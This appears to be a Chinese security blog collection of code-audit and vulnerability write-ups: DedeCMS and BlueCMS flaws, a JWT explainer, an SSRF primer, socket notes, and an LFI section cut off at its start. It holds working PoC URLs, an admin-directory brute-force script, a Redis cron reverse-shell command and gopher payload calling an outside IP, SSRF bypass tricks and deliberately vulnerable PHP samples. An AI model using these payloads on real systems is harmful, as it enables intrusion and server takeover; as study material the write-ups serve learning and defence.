Dedecms V5.7 SP2代码审计

声明

首发于安全客:代码审计入门级DedecmsV5.7 SP2分析复现

索引

Dedecms的洞有很多,而最新版的v5.7 sp2更新止步于1月。作为一个审计小白,看过《代码审计-企业级Web代码安全构架》后,偶然网上冲浪看到mochazz师傅在blog发的审计项目,十分有感触。跟着复现了两个dedecms代码执行的cve,以一个新手的视角重新审视这些代码,希望文章可以帮助像我这样入门审计不久的表哥们。文章若有片面或不足的地方还请师傅们多多斧正

环境:

php5.45 + mysql
审计对象:DedeCMS V5.7 SP2
工具:seay源码审计

后台代码执行

漏洞描述

DedeCMS V5.7 SP2版本中tpl.php存在代码执行漏洞,攻击者可利用该漏洞在增加新的标签中上传木马,获取webshell

代码审计

漏洞位置:dede/tpl.php

看一下核心代码:

# /dede/tpl.php
<?php
require_once(dirname(__FILE__)."/config.php");
CheckPurview('plus_文件管理器');

$action = isset($action) ? trim($action) : '';
......
if(empty($filename))    $filename = '';
$filename = preg_replace("#[\/\\\\]#", '', $filename);
......
else if($action=='savetagfile')
{
    csrf_check();
    if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename))
    {
        ShowMsg('文件名不合法,不允许进行操作!', '-1');
        exit();
    }
    require_once(DEDEINC.'/oxwindow.class.php');
    $tagname = preg_replace("#\.lib\.php$#i", "", $filename);
    $content = stripslashes($content);
    $truefile = DEDEINC.'/taglib/'.$filename;
    $fp = fopen($truefile, 'w');
    fwrite($fp, $content);
    fclose($fp);
    ......
}

因为dedecms全局变量注册(register_globals=on),这里有两个可控变量$filename&$content

action=savetag时,进行csrf()检测

function csrf_check()
{
    global $token;

    if(!isset($token) || strcasecmp($token, $_SESSION['token']) != 0){
        echo '<a href="http://bbs.dedecms.com/907721.html">DedeCMS:CSRF Token Check Failed!</a>';
        exit;
    }
}

验证token和已知的session是否相等,那么token的值从何获取呢?

回溯tpl.php,追踪一下token:

else if ($action == 'upload')
{
        ....
        <input name='acdir' type='hidden' value='$acdir'  />
        <input name='token' type='hidden' value='{$_SESSION['token']}'  />
        <input name='upfile' type='file' id='upfile' style='width:380px' />
}

当action=upload时,隐藏表单的value提交token值

token搞定了,再让我们继续往下审~

$truefile = DEDEINC.'/taglib/'.$filename;

传入的filename必须为 xxxx.lib.php,并且保存的也是php文件

    fwrite($fp, $content);
    fclose($fp);

写入内容为$content…那岂不是为所欲为..
poc:

http://localhost/dedecms/uploads/dede/tpl.php?action=savetagfile&filename=hpdoger.lib.php&content=<?php phpinfo();?>&token=55f2eb0ad241e1893276ed1f8e7dd5fa

在include/taglib下会产生相应xxx.lib.php

后台代码执行Getshell

代码审计

问题代码位于:/uploads/plus/ad_js.php

 */
require_once(dirname(__FILE__)."/../include/common.inc.php");

if(isset($arcID)) $aid = $arcID;
$arcID = $aid = (isset($aid) && is_numeric($aid)) ? $aid : 0;
if($aid==0) die(' Request Error! ');

$cacheFile = DEDEDATA.'/cache/myad-'.$aid.'.htm';
if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )
{
    $row = $dsql->GetOne("SELECT * FROM `#@__myad` WHERE aid='$aid' ");
    $adbody = '';
    if($row['timeset']==0)
    {
        $adbody = $row['normbody'];
    }
    else
    {
        $ntime = time();
        if($ntime > $row['endtime'] || $ntime < $row['starttime']) {
            $adbody = $row['expbody'];
        } else {
            $adbody = $row['normbody'];
        }
    }
    $adbody = str_replace('"', '\"',$adbody);
    $adbody = str_replace("\r", "\\r",$adbody);
    $adbody = str_replace("\n", "\\n",$adbody);
    $adbody = "<!--\r\ndocument.write(\"{$adbody}\");\r\n-->\r\n";
    $fp = fopen($cacheFile, 'w');
    fwrite($fp, $adbody);
    fclose($fp); 
}
include $cacheFile;

摘出关键语句:

if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )

要求$nocache存在,又可以利用前面的全局变量注册

往下走Getone()函数进行sql查询,返回一个结果集。

而后把取到的值和当前的时间点对比作为判断条件,决定取表中的normbody还是exbody赋值给$adbody。

接着就比较明朗了..将$adbody写入文件,而文件名我们抓包应该就可以知道。

但是这里我只看了这一个文件,现在整理一下思路:
1、给出一个$aid进行sql查询
2、根据查询值判断\写文件,且文件内容可控,目录已知
3、最后把写入的文件包含进来。

那么,我们这个$aid从何处传入数据库呢?随着这个思路追踪文件到:/dede/ad_add.php

一个编辑页面,抓包看一下键值对应,顺便瞅一眼mysql载入的数据

看到这里知道,清楚exbody和normbody对应的都是什么了

依据代码$row = $dsql->GetOne("SELECT * FROM `#@__myad` WHERE aid='$aid' ");查看dede__myad这个库插入的内容:

看到timeset=0,那么直接是取$adbody = $row['normbody'];其实timeset何时都为0,浏览ad_add.php代码部分看到,存入数据库的timeset值就为0

ok 现在思路明确,开始复现

复现

我们已经保存过一个页面了,直接poke一下http://localhost/dedecms/uploads/plus/ad_js.php?aid=1看看

查看写入文件:http://localhost/dedecms/uploads/data/cache/myad-1.htm

htm文件成功写入,我们回到Ad_js来执行一下任意代码。不要忘记闭合前面的document文档注释语句
payload:

hpdoger=echo '-->'; phpinfo();

winapi查找后台目录

利用条件

1、win系统下搭建的网站
2、网站后台目录存在/images/adminico.gif

基础知识

windows环境下查找文件基于Windows FindFirstFile的winapi函数,该函数到一个文件夹(包括子文件夹) 去搜索指定文件。

利用方法很简单,我们只要将文件名不可知部分之后的字符用“<”或者“>”代替即可,不过要注意的一点是,只使用一个“<”或者“>”则只能代表一个字符,如果文件名是12345或者更长,这时候请求“1<”或者“1>”都是访问不到文件的,需要“1<<”才能访问到,代表继续往下搜索,有点像Windows的短文件名,这样我们还可以通过这个方式来爆破目录文件了。

审计

核心文件:common.inc.php

if($_FILES)
{
    require_once(DEDEINC.'/uploadsafe.inc.php');
}

追踪uploadsafe.inc.php

if( preg_match('#^(cfg_|GLOBALS)#', $_key) )
{
    exit('Request var not allow for uploadsafe!');
}
$$_key = $_FILES[$_key]['tmp_name']; //获取temp_name 
${$_key.'_name'} = $_FILES[$_key]['name'];
${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);
${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);
if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )
{
    if(!defined('DEDEADMIN'))
    {
        exit('Not Admin Upload filetype not allow !');
    }
}
if(empty(${$_key.'_size'}))
{
    ${$_key.'_size'} = @filesize($$_key);
}
$imtypes = array
(
    "image/pjpeg", "image/jpeg", "image/gif", "image/png", 
    "image/xpng", "image/wbmp", "image/bmp"
);
if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
{
    $image_dd = @getimagesize($$_key); 
    //问题就在这里,获取文件的size,获取不到说明不是图片或者图片不存在,不存就exit upload.... ,利用这个逻辑猜目录的前提是目录内有图片格式的文件。
    if (!is_array($image_dd))
    {
        exit('Upload filetype not allow !');
    }
}

摘出这句:

 $image_dd = @getimagesize($$_key); 

进行判断$$_key是否为图片或图片是否存在

然而$$_key的来源是$_FILES[$_key][‘tmp_name’],上文说了全局变量注册,$FILE可控,那我们传入一个$_FILES[$_key][‘tmp_name’]亦可控,此处是产生了一个变量覆盖的

接着再看同文件的代码

    ${$_key.'_name'} = $_FILES[$_key]['name'];
    ${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);
    ${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);

    if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )
    {
        if(!defined('DEDEADMIN'))
        {
            exit('Not Admin Upload filetype not allow !');
        }
    }

其中,$cfg_not_allowall的范围如下:

$cfg_not_allowall = "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml";

既然上传的name不让以这些结尾,那么我们查.gif不过分吧

找一处验证以下这个核心文件产生的小漏洞:

POC

_FILES[hpdoger][tmp_name]=./ded<</images/adminico.gif&_FILES[hpdoger][name]=0&_FILES[hpdoger][size]=0&_FILES[hpdoger][type]=image/gif

这个poc根据mochazz师傅的poc练手写的,膜mochazz师傅~:

# -*- coding: utf-8 -*-
from itertools import permutations
import requests

def guess_back_dir(url,data,characters):
    for num in range(1,5):
        for every in permutations(characters,num):
            payload = ''.join(every)
            data["_FILES[hpdoger][tmp_name]"] = data["_FILES[hpdoger][tmp_name]"].format(p = payload)
            print("testing:",payload)
            r = requests.post(url,data = data)
            if find_page(r) > 0:
                print("back_dir:[+]",payload)
                data["_FILES[hpdoger][tmp_name]"] = "./{p}<</images/adminico.gif"
                return payload
            data["_FILES[hpdoger][tmp_name]"] = "./{p}<</images/adminico.gif"

def guess_rest_dir(back_dir,url,data,characters):
    while True:
        for singel in characters:
            if singel != characters[-1]:
                data["_FILES[hpdoger][tmp_name]"] = data["_FILES[hpdoger][tmp_name]"].format(p=back_dir + singel)
                r = requests.post(url,data = data)
                # print data
                if find_page(r) > 0:
                    print("guess successfully[+]:",back_dir)
                    back_dir += singel
                    data["_FILES[hpdoger][tmp_name]"] = "./{p}<</images/adminico.gif"
                    break
                data["_FILES[hpdoger][tmp_name]"] = "./{p}<</images/adminico.gif"
            else:
                return  back_dir

def find_page(response):
    if "Upload filetype not allow !" not in response.text and response.status_code == 200:
        return 1

def main():
    characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#"
    url = raw_input("Please input your target:")
    data = {
        "_FILES[hpdoger][tmp_name]": "./{p}<</images/adminico.gif",
        "_FILES[hpdoger][name]": 0,
        "_FILES[hpdoger][size]": 0,
        "_FILES[hpdoger][type]": "image/gif"
    }

    back_dir = guess_back_dir(url,data,characters)
    name = guess_rest_dir(back_dir,url,data,characters)
    print("The background address is[+]:",name)


if __name__ == '__main__':
    main()

最后穿插一个关于FILE变量的小知识点

$_FILES[“file”][“name”] - 被上传文件的名称
$_FILES[“file”][“type”] - 被上传文件的类型
$_FILES[“file”][“size”] - 被上传文件的大小,以字节计
$_FILES[“file”][“tmp_name”] - 存储在服务器的文件的临时副本的名称
$_FILES[“file”][“error”] - 由文件上传导致的错误代码

相关链接

代码审计之DedeCMS V5.7 SP2后台存在代码执行漏洞(https://mochazz.github.io/2018/03/08/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8BDedeCMS%20V5.7%20SP2%E5%90%8E%E5%8F%B0%E5%AD%98%E5%9C%A8%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%EF%BC%88%E5%A4%8D%E7%8E%B0%EF%BC%89/)

奇技淫巧 | DEDECMS找后台目录(https://mochazz.github.io/2018/02/26/DEDECMS%E6%89%BE%E5%90%8E%E5%8F%B0%E7%9B%AE%E5%BD%95%E6%8A%80%E5%B7%A7/)

膜前辈师傅们~

代码审计复现:Bluecms 1.6

写在前面

最近一阵子得了一场病,加之情感上的一件事,痛不欲生。陆陆续续的缓过来了,渡劫余生,留下该留下的。病也慢慢在恢复了。

前些日子说要学代码审计,买了本《代码审计》看了两天,为作者尹毅先生无限打call,人生导师一样的人物,经历是传奇的,努力是可见的。书中开篇点题为什么要代码审计?这是web狗的一项技能。其实,当初学安全的时候我一直想要走的方向是渗透,虽然至今也是。但是渗透就仅仅是用工具来attack么?不,渗透是一种思路,是一种积累,也是一种艺术。它是我们基础的升华,经验的绽放。脚本小子use tools will nerver be a hacker。我们要学的、做的要很多,知识面要很宽,尽管路会很难。

从今天起,至未来的一个月,会把学习的全部精力都投入到审计方向,立下flag:未来半个月内拿自己的cve

环境

cms: bulecms 1.6 sp1
php: 5.4 + mysql 5.5.53

sql注入一

代码审计

问题文件位于:/uploads/ad_js.php

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

变量未用单引号闭合,可能会引起注入

跟踪一下$ad_id,查找该参数如何获得

$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';

trim去掉ad_id两侧空格,未过滤参数,可注入

再追踪一下getone()函数怎么定义的,一个定义mysql相关操作的文件位于/uploads/include/mysql.class.php:

    function getone($sql, $type=MYSQL_ASSOC){
        $query = $this->query($sql,$this->linkid);
        $row = mysql_fetch_array($query, $type);
        return $row;
    }

追踪此类里query函数的定义:

    function query($sql){
        if(!$query=@mysql_query($sql, $this->linkid)){
            $this->dbshow("Query error:$sql");
        }else{
            return $query;
        }
    }

查询出错则dbshow进行报错,有结果则返回$query集合后,$row进行取值

复现

sql注入二

一开始审了一个前台/uploads/user.php的宽字节注入,记一下思路:

在mysql.class.php中看到:

mysql_query( "SET NAMES gbk");

看一下有没有进行addslashes过滤

果然对POST\GET过滤,追踪deep_addslashes

function deep_addslashes($str)
{
    if(is_array($str))
    {
        foreach($str as $key=>$val)
        {
            $str[$key] = deep_addslashes($val);
        }
    }
    else
    {
        $str = addslashes($str);
    }
    return $str;
}

联想宽字节,先追踪一下处理表单的方法

 elseif($act == 'index_login'){
     $user_name = !empty($_REQUEST['user_name']) ? trim($_REQUEST['user_name']) : '';
     $pwd = !empty($_REQUEST['pwd']) ? trim($_REQUEST['pwd']) : '';
     $remember = isset($_REQUEST['remember']) ? intval($_REQUEST['remember']) : 0;
     if($user_name == ''){
         showmsg('�û�������Ϊ��');
     }
     if($pwd == ''){
         showmsg('���벻��Ϊ��');
     }
    $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$user_name'");
    if($row['num'] == 1){
        showmsg('ϵͳ�û��鲻�ܴ�ǰ̨��¼');
    }
    $w = login($user_name, $pwd);

    if(defined('UC_API') && @include_once(BLUE_ROOT.'uc_client/client.php')){
        list($uid, $username, $password, $email) = uc_user_login($user_name, $pwd);
        if($uid>0){
            $password = md5($password);
            if(!$w){
                $db->query("INSERT INTO ".table('user')." (user_name, pwd, email, reg_time) VALUES ('$username', '$password', '$email', '$timestamp')"); 
                $w = 1;
            }
            $ucsynlogin = uc_user_synlogin($uid);
        }
        elseif($uid === -1){
            if($w == 1){
                $user_info = $db->getone("SELECT email FROM ".table('user')." WHERE user_name='$user_name'");
                $uid = uc_user_register($user_name, $pwd, $user_info['email']);
                if($uid > 0) $ucsynlogin = uc_user_synlogin($uid);
            }else $w = -1;
        }
        elseif($uid == -2){
            showmsg('�������');
        }
        echo $ucsynlogin;
    }
    if($w == -1 || $w == 0){
        showmsg('��������û��������벻��ȷ');
    }
    elseif($w == 1){
        update_user_info($user_name);
         if($remember==1){
             setcookie('BLUE[user_id]', $_SESSION['user_id'], time()+172800, $cookiepath, $cookiedomain);
             setcookie('BLUE[user_name]', $user_name, time()+172800, $cookiepath, $cookiedomain);
            setcookie('BLUE[user_pwd]', md5(md5($pwd).$_CFG['cookie_hash']), time()+172800, $cookiepath, $cookiedomain);
         }
         showmsg('��ӭ�� '.$user_name.' ���������ڽ�ת����Ա����', 'user.php');
     }
 }

追踪user_name怎么传入:

$user_name = !empty($_REQUEST['user_name']) ? trim($_REQUEST['user_name']) : '';

发现无过滤

再追踪一下对suername的sql语句如何执行:

$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$user_name'");

看到调用了getone()函数,第一个注入有介绍。

再看到下面一句:

    if($row['num'] == 1){
        showmsg('ϵͳ�û��鲻�ܴ�ǰ̨��¼');
    }

在admin的表中查询admin_name表中是否有传入的user_name,若存在,$row[‘num’]值为1,然后执行showmsg函数,输出:“前台无法登陆”后返回主页。值为0进行以下操作:

$w = login($user_name, $pwd);

再追踪login函数得到:

 function login($user_name,$pwd){
     global $db;
    $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('user')." WHERE user_name='$user_name'");
    if($row['num']==0){
        $result = 0;
    }else{
        $sql = "SELECT COUNT(*) AS num FROM ".table('user')." WHERE user_name='$user_name' and pwd=md5('$pwd')";
         $user_num = $db->getone($sql);
         if($user_num['num']){
             $result = 1;
         }else $result = -1;
    }
     return $result;
 }

到这里我们可以理解,这个页面的登陆逻辑是这样的:

如果我们的用户名是admin表中用户名,则不允许登陆
若不是表中的用户名,则会进行user表的对比查询,再判断是否有这个用户

明确思路:盲注
注入是否成功的判断条件:$row[‘num’]返回值

复现

success injection:

default injection:

google一下发现别人挖过后台登陆验证的宽字节,能够利用…

相关链接

p师傅的浅析白盒审计中的字符编码及SQL注入:http://www.freebuf.com/articles/web/31537.html

(转载)基于 Token 的身份验证

传统身份验证的方法

HTTP 是一种没有状态的协议,也就是它并不知道是谁是访问应用。这里我们把用户看成是客户端,客户端使用用户名还有密码通过了身份验证,不过下回这个客户端再发送请求时候,还得再验证一下。

解决的方法就是,当用户请求登录的时候,如果没有问题,我们在服务端生成一条记录,这个记录里可以说明一下登录的用户是谁,然后把这条记录的 ID 号发送给客户端,客户端收到以后把这个 ID 号存储在 Cookie 里,下次这个用户再向服务端发送请求的时候,可以带着这个 Cookie ,这样服务端会验证一个这个 Cookie 里的信息,看看能不能在服务端这里找到对应的记录,如果可以,说明用户已经通过了身份验证,就把用户请求的数据返回给客户端。

上面说的就是 Session,我们需要在服务端存储为登录的用户生成的 Session ,这些 Session 可能会存储在内存,磁盘,或者数据库里。我们可能需要在服务端定期的去清理过期的 Session 。

基于 Token 的身份验证方法

使用基于 Token 的身份验证方法,在服务端不需要存储用户的登录记录。大概的流程是这样的:

  • 客户端使用用户名跟密码请求登录

  • 服务端收到请求,去验证用户名与密码

  • 验证成功后,服务端会签发一个 Token,再把这个 Token 发送给客户端

  • 客户端收到 Token 以后可以把它存储起来,比如放在 Cookie 里或者 Local Storage 里

  • 客户端每次向服务端请求资源的时候需要带着服务端签发的 Token

  • 服务端收到请求,然后去验证客户端请求里面带着的 Token,如果验证成功,就向客户端返回请求的数据

JWT

实施 Token 验证的方法挺多的,还有一些标准方法,比如 JWT,读作:jot ,表示:JSON Web Tokens 。JWT 标准的 Token 有三个部分:

  • header

  • payload

  • signature

中间用点分隔开,并且都会使用 Base64 编码,所以真正的 Token 看起来像这样:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJuaW5naGFvLm5ldCIsImV4cCI6IjE0Mzg5NTU0NDUiLCJuYW1lIjoid2FuZ2hhbyIsImFkbWluIjp0cnVlfQ.SwyHTEx_RQppr97g4J5lKXtabJecpejuef8AqKYMAJc

header 部分主要是两部分内容,一个是 Token 的类型,另一个是使用的算法,比如下面类型就是 JWT,使用的算法是 HS256。

{

“typ”: “JWT”,

“alg”: “HS256”

}

上面的内容要用 Base64 的形式编码一下,所以就变成这样:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

Payload

Payload 里面是 Token 的具体内容,这些内容里面有一些是标准字段,你也可以添加其它需要的内容。下面是标准字段:

  • iss:Issuer,发行者

  • sub:Subject,主题

  • aud:Audience,观众

  • exp:Expiration time,过期时间

  • nbf:Not before

  • iat:Issued at,发行时间

  • jti:JWT ID

比如下面这个 Payload ,用到了 iss 发行人,还有 exp 过期时间。另外还有两个自定义的字段,一个是 name ,还有一个是 admin 。

{

“iss”: “ninghao.net”,

“exp”: “1438955445”,

“name”: “wanghao”,

“admin”: true

}

使用 Base64 编码以后就变成了这个样子:

eyJpc3MiOiJuaW5naGFvLm5ldCIsImV4cCI6IjE0Mzg5NTU0NDUiLCJuYW1lIjoid2FuZ2hhbyIsImFkbWluIjp0cnVlfQ

Signature

JWT 的最后一部分是 Signature ,这部分内容有三个部分,先是用 Base64 编码的 header.payload ,再用加密算法加密一下,加密的时候要放进去一个 Secret ,这个相当于是一个密码,这个密码秘密地存储在服务端。

  • header

  • payload

  • secret

var encodedString = base64UrlEncode(header) + “.” + base64UrlEncode(payload);

HMACSHA256(encodedString, ‘secret’);

处理完成以后看起来像这样:

SwyHTEx_RQppr97g4J5lKXtabJecpejuef8AqKYMAJc

最后这个在服务端生成并且要发送给客户端的 Token 看起来像这样:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJuaW5naGFvLm5ldCIsImV4cCI6IjE0Mzg5NTU0NDUiLCJuYW1lIjoid2FuZ2hhbyIsImFkbWluIjp0cnVlfQ.SwyHTEx_RQppr97g4J5lKXtabJecpejuef8AqKYMAJc

客户端收到这个 Token 以后把它存储下来,下回向服务端发送请求的时候就带着这个 Token 。服务端收到这个 Token ,然后进行验证,通过以后就会返回给客户端想要的资源。

转载

本文转载自https://ninghao.net/blog/2834

初探ssrf

索引

ssrf是很常见的一个漏洞,一开始把ssrf简单的理解为链接重定向漏洞,其实也可以这么说,曾经这个漏洞影响过许多互联网企业。

危害有如下几个类型:

内网端口扫描
内网Web应用指纹识别
通过访问内网Web应用robots.txt等方式辨别cms的类型及版本然后根据公开的漏洞去攻击内网服务器
读取本地文件
读取远程文件
攻击内网其他应用,如redis,从而反弹shell

SSRF原理

cURL

curl是一个利用URL语法在命令行方式下工作的文件传输工具。PHP中有cURL的苦,叫libcurl,支持许多协议:FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE 以及 LDAP。curl同样支持HTTPS认证,HTTP POST方法, HTTP PUT方法, FTP上传, kerberos认证, HTTP上传, 代理服务器, cookies, 用户名/密码认证, 下载文件、

我们可以利用curl进行抓取网页内容

伪造请求

通俗的来说就是我们可以伪造服务器端发起的请求,从而获取客户端所不能得到的数据。SSRF漏洞形成的原因主要是服务器端所提供的接口中包含了所要请求的内容的URL参数,并且未对客户端所传输过来的URL参数进行过滤。

类似于这样的形式:

ip:port/ssrf.php?url=xxxx

我们构造一个url请求,server端接收并访问传入的url,然后会返回给客户端相应数据(如图片等)。正常情况下,服务端希望我们传入的url是一个正常的链接,可能是站内的图片、网链,也可能是站外的其它友链。php后端使用cURL初始化一个新的cURL会话并获取一个网页。

但是,如果我们通过curl允许的协议来传递给url这个参数一些邪恶的信息呢?后果可想而知

SSRF分析

漏洞搭建

ssrf漏洞代码,未作过滤

<?php 
// 创建一个新cURL资源
$ch = curl_init(); 

// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, $_GET['url']); 
curl_setopt($ch, CURLOPT_HEADER, 0); 

// 抓取URL并把它传递给浏览器
curl_exec($ch); 

// 关闭cURL资源,并且释放系统资源
curl_close($ch); 
?>

file协议查看文件

我们url传入的file协议语句,会在服务会执行一个curl语句,返回查询的信息。这个是基于有回显的情况,不过现在很多php后端如果这样写的话:

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1)

协议就算失效了,这种方法失败

dict协议探测端口

探测22端口(ssh服务)

http://ip:port/ssrf.php?url=dict://127.0.0.1:22/info

服务端会执行:

curl -v 'dict://127.0.0.1:22/info'

探测3306端口

http://ip:port/ssrf.php?url=dict://127.0.0.1:3306
/info

Gopher协议攻击redis反弹shell

Redis 任意文件写入现在已经成为十分常见的一个漏洞,一般内网中会存在 root 权限运行的 Redis 服务,利用 Gopher 协议攻击内网中的 Redis,这无疑可以隔山打牛,直杀内网。
首先了解一下通常攻击 Redis 的命令,然后转化为 Gopher 可用的协议。常见的 exp 是这样的:

redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/要反弹的公网ip/反弹端口 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

这里网址以127.0.0.1,redis端口6379,公网ip为172.19.23.228且监听端口为2333为例
改成适配于 Gopher 协议的 URL:

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

302跳转

Curl默认不支持302跳转,所以需要在ssrf.php中加上一行curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1)来支持跳转

代码如下:

function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);
// 限制为HTTPS、HTTP协议
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}

$url = $_GET['url'];
curl($url);
?>

php限制为http、https协议之后,我们就无法使用刚才的file dict gopher的协议了,但是我们如果开启302跳转的话可以,跳转到我们自己的vps上的网页来执行这些协议。因为服务端并没有ban掉这些协议,所以我们就找一个跳板来执行

302辅助跳转脚本:

<?php  
$schema = $_GET['schema'];
$ip     = $_GET['ip'];
$port   = $_GET['port'];
$query  = $_GET['query'];

echo "\n";
echo $schema . "://".$ip."/".$query;

if(empty($port)){  
    header("Location: $schema://$ip/$query");
} else {
    header("Location: $schema://$ip:$port/$query");
}

通过http/s协议引入我们自己的php脚本,这样就可以执行其他协议语句
发送的请求如下:

http://127.0.0.1/ssrf.php?url=http://your vps's ip/302.php?schema=dict%26ip=127.0.0.1%26port=22%26query=info

注意是POST请求还是GET请求

SSRF挖掘

社交分享功能
转码服务
在线翻译
在线代理浏览器
图片加载/下载
图片/文章收藏功能
API或调用外部URL的功能

SSRF绕过

IP地址转换绕过

数字地址(十进制):127.0.0.1->2130706433
十六进制:127.0.0.1->0x7F000001或0x7F.00.00.01或0x7F.0x00.0x00.0x01
八进制: 127.0.0.1->0177.0.0.1或0177.00.00.01
省略写法:127.0.0.1->127.1

xip.io绕过

127.0.0.1.xip.io
www.127.0.0.1.xip.io
xxx.127.0.0.1.xip.io
fuzz.xxx.127.0.0.1.xip.io

相关链接

利用 gopher 协议拓展攻击面

浅析SSRF原理及利用方式

SSRF漏洞分析与利用

Socket套接字编程学习

写在前面

最近接触到socket模块,练一下python能力,写一个通过socket(套接字)的tcp的连接,执行命令并回显。模拟ncat的正向连接功能

Socket套接字

TCP用主机的IP地址加上主机上的端口号作为TCP连接的端点,这种端点就叫做套接字(socket)或插口

套接字用(IP地址:端口号)表示。例如:192.168.1.1:8080

它是网络通信过程中端点的抽象表示,包含进行网络通信必需的五种信息:连接使用的协议,本地主机的IP地址,本地进程的协议端口,远地主机的IP地址,远地进程的协议端口。

TCP/IP协议的三种套接字类型:

流式套接字(SOCK_STREAM):
流式套接字用于提供面向连接、可靠的数据传输服务。该服务将保证数据能够实现无差错、无重复发送,并按顺序接收。流式套接字之所以能够实现可靠的数据服务,原因在于其使用了传输控制协议,即TCP(The Transmission Control Protocol)协议。

数据报套接字(SOCK_DGRAM):
数据报套接字提供了一种无连接的服务。该服务并不能保证数据传输的可靠性,数据有可能在传输过程中丢失或出现数据重复,且无法保证顺序地接收到数据。数据报套接字使用UDP(User Datagram Protocol)协议进行数据的传输。由于数据报套接字不能保证数据传输的可靠性,对于有可能出现的数据丢失情况,需要在程序中做相应的处理。

原始套接字(SOCK_RAW):
原始套接字(SOCKET_RAW)允许对较低层次的协议直接访问,比如IP、 ICMP协议,它常用于检验新的协议实现,或者访问现有服务中配置的新设备,因为RAW SOCKET可以自如地控制Windows下的多种协议,能够对网络底层的传输机制进行控制,所以可以应用原始套接字来操纵网络层和传输层应用。比如,我们可以通过RAW SOCKET来接收发向本机的ICMP、IGMP协议包,或者接收TCP/IP栈不能够处理的IP包,也可以用来发送一些自定包头或自定协议的IP包。网络监听技术很大程度上依赖于SOCKET_RAW
原始套接字与标准套接字(标准套接字指的是前面介绍的流式套接字和数据报套接字)的区别在于:原始套接字可以读写内核没有处理的IP数据包,而流式套接字只能读取TCP协议的数据,数据报套接字只能读取UDP协议的数据。因此,如果要访问其他协议发送数据必须使用原始套接字。

编程思路

tcp服务端

1、创建一个套接字,选择tcp流通信,并且绑定套接字到本地ip和端口

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind()

2、开始监听

s.listen(5) # 一般5的最大连接就够了

3、循环接收客户端连接要求

while True:
    conn,addr=s.accept() # 接收tcp连接,并返回一个新的套接字conn,和ip地址addr

这个套接字的作用:
作为介质,用来接收客户端的信息、返回给客户端信息。服务端在接收这个conn套接字后跟客户端共用此套接字。

4、执行接收的命令,结果的数据返回给客户端。

5、传输完毕关闭套接字

tcp客户端

1、创建一个套接字并连接远端

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect()

2、 连接后发送数据和接收数据

3、 传输完毕关闭套接字

代码执行

服务端

客户端

效果

相关链接

(Python Socket 编程详细介绍)[https://gist.github.com/kevinkindom/108ffd675cb9253f8f71]

(python socket编程详细介绍Ⅱ)[http://blog.51cto.com/yangrong/1339593]

LFI with phpinfo测试

基础知识

本地文件包含,英文Local File Include,简称LFI。文件包含是一种简化代码、提高代码重用率的方法。但是,由于没有正确处理用户输入,导致本地文件包含漏洞。黑客可以通过漏洞包含非PHP执行文件,如构造包含PHP代码的图片木马、临时文件、session文件、日志等来达到执行PHP代码的目的。

环境

一个简单的文件上传,无任何过滤的页面:

Lfi.php:

<?php include $_GET['file'];

&一个phpinfo页面
docker复现的环境,这里吐槽一下ubantu..

思路

php引擎对表单的处理

